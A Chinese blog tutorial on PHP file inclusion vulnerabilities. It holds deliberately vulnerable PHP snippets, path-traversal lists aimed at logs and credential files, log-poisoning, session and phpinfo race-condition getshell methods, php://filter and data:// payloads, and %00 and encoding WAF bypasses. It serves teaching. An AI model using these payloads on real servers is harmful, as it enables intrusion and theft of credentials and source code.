TOP10漏洞之文件包含

最新推荐文章于 2024-05-14 03:37:45 发布
最新推荐文章于 2024-05-14 03:37:45 发布
阅读量1.1k 收藏 2
点赞数
分类专栏： web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44255856/article/details/103464568
版权

前沿

很早之前就学习了top10的漏洞，但是对于我自己来说基本上就大体的过来一遍，有一句话就是学习好基础，让你少奋斗两年， 于是我现在又来过一遍top10漏洞。在这些中主要侧重于我自己的思路。
##文件包含含义：
文件包含在我的理解来说就是程序员在自己写代码是要调用其他的文件，使用包含文件的函数。在我们耳中关于文件包含漏洞的存在基本在php，但是在jsp, asp中同样也存在文件包含。
于是在这篇文章中，我们学习这三种类型的文件包含漏洞。

php

在php中文件包含分为远程文件包含(LFI)本地文件包含(RFI)
LFI

本地文件包含漏洞，顾名思义就是包含本地的文件，当被包含的文件在服务器本地时，就形成的本地文件包含漏洞。现实中多遇到的文件包含为本地文件包含。

RFI

远程文件包含漏洞，顾名思义就是包含远程服务器上的文件。
需要在php.ini上开启all_url_fopen=on && all_url_include=on。
在php中，all_url_fopen默认为on, all_url_include在php版本5.2后，就默认为off.若需要使用远程文件包含，就要想办法开启all_url_include。

php文件包含的函数：

include(),include_once(),require(),require_once(),file_get_contents(),readfile(),highlight_file

require()

注意：当require()中的 传参没有的存在的文件时就会报错，并且不执行后面的语句。

<?php
	$a = $_GET['test'];
	require $a;
	echo "hhhhhhh";
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-py9ihhi2-1575894198492)(http://s2.ax1x.com/2019/11/04/Kxg2z8.png)]

这个1.txt就是不存在的文件，他报错并且不执行echo语句。

请输入图片描述

而当test.txt是存在的文件的时候，一切正常，并且可以包含test.txt文件的内容。

在这儿还有一个点，当用这几个函数包含文件时，无论时什么类型的文件都会解析为php。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vAUKIOIi-1575894198494)(https://s2.ax1x.com/2019/11/04/Kxgfsg.md.png)]

  • 如果allow_url_fopen = off | allow_url_include=off,
    1, 普通本地文件包含正常
    2, 普通远程文件包含不正常
    3, 伪协议包含文件不正常

  • 如果allow_url_fopen = off | allow_url_include=on,
    1, 普通方式包含本地文件正常
    2, 普通远程文件包含不正常
    3, 伪协议包含文件正常

  • 如果allow_url_fopen = on | allow_url_include = off
    1, 普通方式包含本地文件正常
    2, 普通远程文件包含不正常
    3, 伪协议包含文件不正常

  • 如果allow_url_fopen = on | allow_url_include = on
    1, 普通方式包含本地文件正常
    2, 普通远程文件包含正常
    3, 伪协议包含文件正常

require_once()

与require类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含

include()

include()函数和require()存在很多的相似之 处，唯一不同的就是require()函数对于报错处理的更加严谨，并且会阻止后面程序的执行。

include_once()

与include类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。

readfile()
<?php 
$file = $_GET['filename'];
echo  readfile($file);
?>

对于这个函数，all_url_includeon或off对其没有影响,all_url_fopen=on能让其包含远程文件。

file_get_contents()

这个函数常用于获取文件内容。尤其是php文件代码，配合伪协议中的协议进行传输。

<?php 
$file = $_GET['filename'];
echo  readfile($file);
?>

对于这个函数通readfile()函数一样。
all_url_includeon或off对其没有影响,all_url_fopen=on能让其包含远程文件。

本地文件包含至getshell的思路

1，日志

通常防卫目标系统的某些对外开放的服务是，系统会自动的将访问记录写入在日志(access.log,error.log)中，然后利用这个我们就有机会将代码写进日志中，然后去文件包含日志即可getshell。
但是需要注意的是：

  • 如果包含错误可能是open_base_dir()被限制
  • 如果日志文件太大，包含可能会失败，所以选择合适的时间（如凌晨）
  • 很多种日志文件我们都可以利用（apache,ssh,nginx）

apache
…/apache/logs/error.log
…/apache/logs/access.log
…/…/apache/logs/error.log
…/…/apache/logs/access.log
…/…/…/apache/logs/error.log
…/…/…/apache/logs/access.log
…/…/…/…/…/…/…/etc/httpd/logs/acces_log
…/…/…/…/…/…/…/etc/httpd/logs/acces.log
…/…/…/…/…/…/…/etc/httpd/logs/error.log
…/…/…/…/…/…/…/etc/httpd/logs/error_log
…/…/…/…/…/…/…/var/www/logs/access_log
…/…/…/…/…/…/…/var/www/logs/access.log
…/…/…/…/…/…/…/usr/local/apache/logs/access_log
…/…/…/…/…/…/…/usr/local/apache/logs/access.log
…/…/…/…/…/…/…/var/log/apache/access_log
…/…/…/…/…/…/…/var/log/apache2/access_log
…/…/…/…/…/…/…/var/log/apache/access.log
…/…/…/…/…/…/…/var/log/apache2/access.log
…/…/…/…/…/…/…/var/log/access_log
…/…/…/…/…/…/…/var/log/access.log
…/…/…/…/…/…/…/var/www/logs/error_log
…/…/…/…/…/…/…/var/www/logs/error.log
…/…/…/…/…/…/…/usr/local/apache/logs/error_l og
…/…/…/…/…/…/…/usr/local/apache/logs/error.l og
…/…/…/…/…/…/…/var/log/apache/error_log
…/…/…/…/…/…/…/var/log/apache2/error_log
…/…/…/…/…/…/…/var/log/apache/error.log
…/…/…/…/…/…/…/var/log/apache2/error.log
…/…/…/…/…/…/…/var/log/error_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

读配置文件找日志路径
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

windows
window 2003+iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows\system32\inetsrv\metabase.xml

iis 7日志文件默认在
C:\inetpub\logs\LogFiles
配置文件默认目录
C:\Windows\System32\inetsrv\config\applicationHost.config

C:\apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\program files\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\error.log

C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\wamp\apache2\logs
C:\xampp\apache\logs\access.log

敏感文件
Windows：
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

2，session

原理分析：session会话是储存在多个页面中使用的信息的方式。session于cookie不同，该信息是不储存在用户的计算机上的。
会话变量使用PHP全局变量$ _SESSION设置。
当php程序结束时，，他会自动读取session中的内容，并将其反序列化，然后发送到保存管理器来进行保存。
保存管理器会将会话数据保存在seesion.save_path中（在phpinfo下即可查看）。

常见的php—session存放位置如下：
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp/tmp

<?php
//启动session的初始化
session_start();
//注册session变量，赋值为一个用户的名称
$_SESSION["username"]="<?php phpinfo(); ?>";
?>

当我们访问2.php时就会在tmp/tmp下生成一个文件。

Alt text

我们发现在访问2.php时，我们的cookie为PHPSESSID=i5atprq4vgilf6pconf8dm6540

Alt text

于是发现在tmp/tmp下生成文件的后半部分的名和cookie一模一样。所以验证了session文件的命名规则是sess_[PHPSESSID]。
我们去查看tmp/tmp下文件的内容为：username|s:19:"<?php phpinfo(); ?>";
于是也验证了session传过去的数据是经过反序列化的。

于是
Alt text

3，包含系统环境’

包含 /proc/self/environ 可以看到系统的一些环境变量，如web 路径等。

http://127.0.0.1/index..php?text=../../../../../../../../proc/self/environ
使用burpsuite抓包，并且修改http中的协议，User-Agent:<?php phpinfo(); ?>
访问http://127.0.0.1/index..php?text=../../../../../../../../proc/self/environ即可看见包含了phpinfo
具体可见：https://www.youtube.com/watch?reload=9&v=dlh0ogYy9ys

4，包含临时文件

如果找不到可以包含的文件，我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。

**包含临时文件的流程如下: **

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8nRjA9R7-1575894198496)(https://s2.ax1x.com/2019/11/04/KxgHJ0.md.png)]

引用方法简述：

在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件（通常是/tmp/php[6个随机字符]），文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。

同时，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时，即可利用这个方法，找到临时文件名，然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争，具体流程如下：

发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据
因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接
所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包
此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除
利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell

环境启动后，访问http://192.168.85.152:8080/lfi.php?file=/etc/passwd发现确实存在文件包含漏洞。

Alt text

python2 exp.py 192.168.85.152 8080 100：

Alt text

可见，执行到第289个数据包的时候就写入成功。然后，利用lfi.php，即可执行任意命令：

Alt text

5，软链接文件包含绕过open_basedir

环境可以参考HCTF2018-Hide-and-seek

使用ln -s /etc/passwd passwd命令生成一个指向/etc/passwd文件的软链接，然后用zip -y passwd.zip passwd命令压缩，然后上传，即可文件包含并绕过open_basedir

Alt text

PHP协议

php://input

php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下，最好使用 php://input 来代替 $HTTP_RAW_POST_DATA，因为它不依赖于特定的 php.ini 指令。

allow_url_include=on
allow_url_fopen=off/on

<?php  
$test=$_GET['NNULLULL'];
include($test);
?>

Alt text

php://output

对于allow_url_fopen和allow_url_include没有限制

php://output 是一个只写的数据流，允许你以 print 和 echo 一样的方式写入到输出缓冲区。

<?php  
$code=$_GET["NNULLULL"];  
file_put_contents($code,"NNULLULL is a good boy!!!");   
?>
file://

file:// — 访问本地文件系统
用法

/path/to/file.ext
◦relative/path/to/file.ext
◦fileInCwd.ext
◦C:/path/to/winfile.ext
◦C:\path\to\winfile.ext
◦\\smbserver\share\path\to\winfile.ext
◦file:///path/to/file.ext

<?php  
$code=$_GET["NNULLULL"];  
include($code);
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wubmNP9f-1575894198500)(https://s2.ax1x.com/2019/11/04/Kx2SoR.png)]

php://filter

php://filter 是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器
不需要开启allow_url_fopen和allow_url_include

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Mut1tk5-1575894198500)(https://s2.ax1x.com/2019/11/04/Kx2CJx.md.png)]
主要利用了resource和convert函数，从而去读取php代码。

常用的payload:
?file=php://filter/read=convert.base64-encode/resource=index.php(读取base64加密后的源码)
?file=php://filter/convert.base64-encode/resource=index.php(去掉read，可以绕过一些waf)
?file=php://filter/convert.base64-encode/resource=index.php
php://filter/write=xxxx/resource=
在write和read后面可以添加过滤器
常见的过滤器如下：

(1)字符串过滤器
string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果
(2)转换过滤器
convert.base64-encode base64 编码
convert.base64-decode base64 解码
convert.quoted-printable-encode quoted-printable 编码（也是另一种将二进制进行编码的方案）
convert.quoted-printable-decode quoted-printable 解码
convert.iconv 实现任意两种编码之间的转换
(3)压缩过滤器
zlib.deflate 压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器
(4)加密过滤器
mcrypt.* 加密过滤器
mdecrypt.* 解密过滤器

Alt text

关于ctf php://filter的妙用可以参考 这篇文章

data://

php版本>5.2.0

用法：
data://text/plain;base64,
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

Alt text

Alt text

zip://,bzip://,zlib://

allow_url_fopen和allow://url_include没有限制

Alt text

php版本>5.3.0
####zip
使用方法：
zip:///[压缩文件的绝对路径]#[压缩文件名] --》#要用url编码

Alt text
1.txt中的内容为<?php phpinfo(); ?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0stBJDl-1575894198504)(https://s2.ax1x.com/2019/11/04/Kx2Ywj.md.png)]

bzip2

使用方法：
compress.bzip2://file.bz2

payload:
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2
或者文件改为jpg后缀
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg

zlib

使用方法和bzip2几乎相同
payload:
a=compress.zlib://C:/Users/liuxianglai/Desktop/test.bz2

##过waf

%00截断

要求: magic_quotes_gpc=off && php版本小于5.3.4

/etc/passwd%00
####%00截断目录遍历：

要求 magic_quotes_gpc=off，unix文件系统，比如FreeBSD，OpenBSD，NetBSD，Solaris

/var/www/%00

####路径长度截断：

(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)

/etc/passwd/././././././.[…]/./././././.

####点号截断：

(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

/boot.ini/………[…]…………

编码截断

利用url编码

  • …/
    %2e%2e%2f
    …%2f
    %2e%2e/
  • …
    %2e%2e%5c
    …%5c
    %2e%2e\
  • 二次编码
    …/
    %252e%252e%252f
    …
    %252e%252e%255c
  • 服务器编码方式
    …/
    %c0%ae%c0%ae/
    注：java中会把”%c0%ae”解析为”\uC0AE”，最后转义为ASCCII字符的”.”（点）
    …
    …%c1%9c
    (注：IIS)
通配符使用
  • <<

Alt text

在没有base_dir限制的情况下，会读到c:\windows\win.ini文件

这个问题是由Windows APi FindFirstFile函数引起的，这是FindFirstFile的一个特性，查看php原代码发现在win32\readdir.c，正是调用了FindFirstFile来操作文件的。因此受影响的并不止include函数。

。

参考：https://3wapp.github.io/WebSecurity/php-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html

https://www.k0rz3n.com/2018/11/20/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8B%20PHP%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E4%B8%89%E3%80%81file-get-contents

https://www.cnblogs.com/iamstudy/articles/include_file.html

https://github.com/vulhub/vulhub/tree/master/php/inclusion

https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/

https://3wapp.github.io/WebSecurity/php-文件包含.html

「已注销」
关注
专栏目录
phpinfo漏洞信息利用
墨痕诉清风的博客
10-10 7648
libxml 2.9以前的版本默认支持并开启了外部实体的引用，服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体（含外部普通实体和外部参数实体）做合适的处理，会导致XXE。向phpinfo()页面post一个shell（自己写一个上传页面），可以在_FILES[“file1”]中看到上传的临时文件，如果有个lfi，便可以直接getshell了。php标签有4种形式，如果这个选项不开启的话(一般默认不开启)，使用asp的标签是不会解析的。还是标签的问题，允许这种形式，并且
【漏洞挖掘】——55、 PHPINFO信息泄露检测与利用
Fly_鹏程万里
10-20 3460
PHPINFO信息泄露是指通过访问Web服务器上的PHPINFO页面获取关于PHP配置和服务器环境的敏感信息的攻击行为，PHPINFO页面是一种特殊的PHP脚本，它可以列出PHP解释器的配置信息和环境变量等详细信息，攻击者可以通过访问PHPINFO页面获取服务器的敏感信息，比如:PHP版本号、模块版本、文件路径、安装路径、操作系统版本等，这些信息可以被攻击者用于实施其他攻击行为，比如:利用已知的漏洞进行攻击或者编写定制的攻击脚本。
PHP文件包含漏洞(利用phpinfo)复现&&文件上传(条件竞争)
sinat_61654365的博客
01-11 2407
在 PHP 环境下，如果网站存在本地文件包含漏洞，但是却无法找到想要包含的文件，也无法生成和上传文件，是否能够获得 WebShell 呢?这里有一个技巧，前提是网站需要有一个 phpinf 页面，就可以通过条件竞争来包含缓存文件获取 WebShell了。这个技巧实际上融合了PHIP 文件包含信息泄露条件竞争这三种漏洞,下面简述一下这种技巧的原理。
PHP文件包含漏洞（利用phpinfo）
Li-D的博客
12-31 8673
漏洞描述 文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。 PHP中引发文件包含漏洞的通常是以下四个函数： 1、include()当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行。 2、include_once()功能和include()相同，区别在于当重复调用同一文件时，程序只调用一次。 3、require()只要程序一执行就
PHP文件包含漏洞攻防实战
weixin_33785972的博客
02-10 364
本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细分析，并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试，最终成功获取到网站的WebShell。 PHP是一种非常流行的Web开发语言，互联网上的许多Web应用都是利用PHP开发的。在利用PHP开发的Web应用中，PHP文件包含漏洞是一种常见的漏洞，利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。 PHP文件包...
phpinfo跨站脚本漏洞
weixin_34218579的博客
03-05 329
  漏洞说明： php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数，许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行***。漏洞成因： phpinfo页面对输入的参数都做了详细的过滤，...
owasp top10漏洞讲解
07-22
常见的注入漏洞包括SQL注入、OS Shell注入、LDAP注入、XPath注入、Hibernate注入等，其中SQL注入最为常见。此类攻击可能导致数据库中的数据被泄露或篡改，甚至可能使攻击者获取具有管理员权限的账户。 **危害:** ...
Owasp Top10 漏洞笔记
08-27
Owasp Top10 漏洞笔记 安全漏洞是 Web 应用程序中的一个常见问题，OWASP Top 10 是一个列表，列出了 Web 应用程序中十大最常见的安全漏洞，其中包括 SQL 注入漏洞、跨站脚本攻击、跨站请求伪造、敏感数据 exposures...
TWO DAY | WEB安全之OWASP TOP10漏洞
EverUP
05-15 6028
OWASP:开放式Web应用程序安全项目(Open Web Application SecurityProject)，OWASP是一家国际性组织机构，并且是一个开放的、非盈利组织，它致力于协助政府、企业开发、升级各类应用程序以保证其可信任性。所有OWASP的工具、文档、研讨以及所有分会都对任何就应用安全领域感兴趣的人士自由开放。其最具权威的就是“10项最严重的Web应用程序安全风险列表”
OWASP-TOP10之任意文件下载漏洞：高危漏洞
weixin_46248422的博客
06-30 551
1.中间件勾了目录浏览就会存在任意文件下载的风险。 出现下图就可以随意下载文件了： 2.什么是任意文件下载： 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户查看或下载的文件不做限制，则恶意用户就能够查看或下载任意敏感文件，这就是文件查看与下载漏洞。 出现的原因是：没有指定文件或者路径 ../后面要加上要下载的文件名，就可以实现文件任意下载。 对于linux系统不管几级目录，只需要../../../../../etc/passwd 3.如何查找这样的漏洞..
owasp top10漏洞
weixin_46476861的博客
01-26 526
sql注入 出现这种情况说明有危险 xss跨站脚本攻击 文件上传下载漏洞 上传 文件包含漏洞 服务器端请求伪造（ssrf） http://192.168.16.105:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com http://192.168.16.105:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://1
PHPInfo()信息泄漏漏洞利用及提权
热门推荐
weixin_44023460的博客
12-08 3万+
Simeon PHPInfo函数信息泄露漏洞常发生一些默认的安装包，比如phpstudy等，默认安装完成后，没有及时删除这些提供环境测试的文件，比较常见的为phpinfo.php、1.php和test.php，虽然通过phpinfo获取的php环境以及变量等信息，但这些信息的泄露配合一些其它漏洞将有可能导致系统被渗透和提权。 1.1phpinfo函数 PHP中提供了PHPInfo()函数，该函数返...
PHP文件包含漏洞(利用phpinfo)复现
m0_52701599的博客
03-05 1630
PHP文件包含漏洞(利用phpinfo)复现
vulhub PHP文件包含漏洞(利用phpinfo)复现
weixin_53696027的博客
03-04 935
通过docker搭建vulhub靶场来利用php文件包含漏洞
PHP文件包含漏洞利用phpinfo写入webshell
ADummy的博客
02-26 4579
带有PHPINFO的PHP本地文件包含RCE by ADummy 0x00利用路线 ​ 执行exp—>getshell ​ 适用于有本地文件包含漏洞，有phpinfo，怎么写入webshell的情况 0x01漏洞介绍 ​ 在PHP文件包含漏洞中，当我们找不到要触发RCE的有效文件时，如果有PHPINFO可以告诉我们随机生成的临时文件名及其位置，则可能可以包含一个临时文件来利用它来利用它。 启动环境后，可访问http://your-ip:8080/phpinfo.php以获取PHPINFO页
PHP phpinfo.php 信息泄露
(ง •_•)ง
11-25 2380
phpinfo可能会泄露项目php版本和服务器变量等信息，安全起见我们需要禁用phpinfo函数，那我们该如何禁用phpinfo函数呢？首先打开php.ini，找到“disable_functions”，没有则新增，修改成以下： disable_functions =phpinfo disable_functions是禁用php函数，多个函数英文逗号分隔禁用： disable_functions...
信息泄露（目录遍历，phpinfo，备份文件下载）_phpinfo信息泄露漏洞(1)
最新发布
2401_84972844的博客
05-14 1038
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
web渗透top10十大漏洞
06-03
1. SQL注入漏洞（SQL Injection）：攻击者通过构造恶意的SQL语句，从而绕过身份认证和访问控制等限制，进而获取敏感信息或者执行非法操作。 2. 跨站脚本攻击（Cross-site Scripting，XSS）：攻击者通过在受害者的浏览器中注入脚本，从而获取敏感信息、劫持用户会话或者执行其他恶意操作。 3. 跨站请求伪造（Cross-site Request Forgery，CSRF）：攻击者通过伪造合法用户的请求，从而实现对目标网站的攻击，例如修改用户信息、进行非法转账等。 4. 文件包含漏洞（File Inclusion）：攻击者通过在目标网站上构造特定的URL，使得服务器将包含敏感信息的文件或者恶意脚本加载到页面中。 5. 未经授权访问漏洞（Unauthorized Access）：攻击者通过利用系统漏洞或者密码猜测等方式，从而获取未经授权的访问权限，例如管理员账号等。 6. 敏感信息泄露漏洞（Sensitive Information Disclosure）：系统在异常情况下泄露敏感信息，例如配置文件、日志文件等。 7. 命令注入漏洞（Command Injection）：攻击者通过构造恶意的命令，从而在服务器上执行非法操作，例如删除文件、获取敏感信息等。 8. 任意文件上传漏洞（Arbitrary File Upload）：攻击者通过上传恶意文件，从而执行非法操作，例如获取敏感信息、执行系统命令等。 9. 逻辑漏洞（Logic Flaw）：指系统中存在设计缺陷或者逻辑错误，从而导致安全漏洞的出现。 10. 密码破解漏洞（Password Cracking）：攻击者通过暴力破解、社会工程学等方式，从而获取用户密码，进而实现对系统的攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值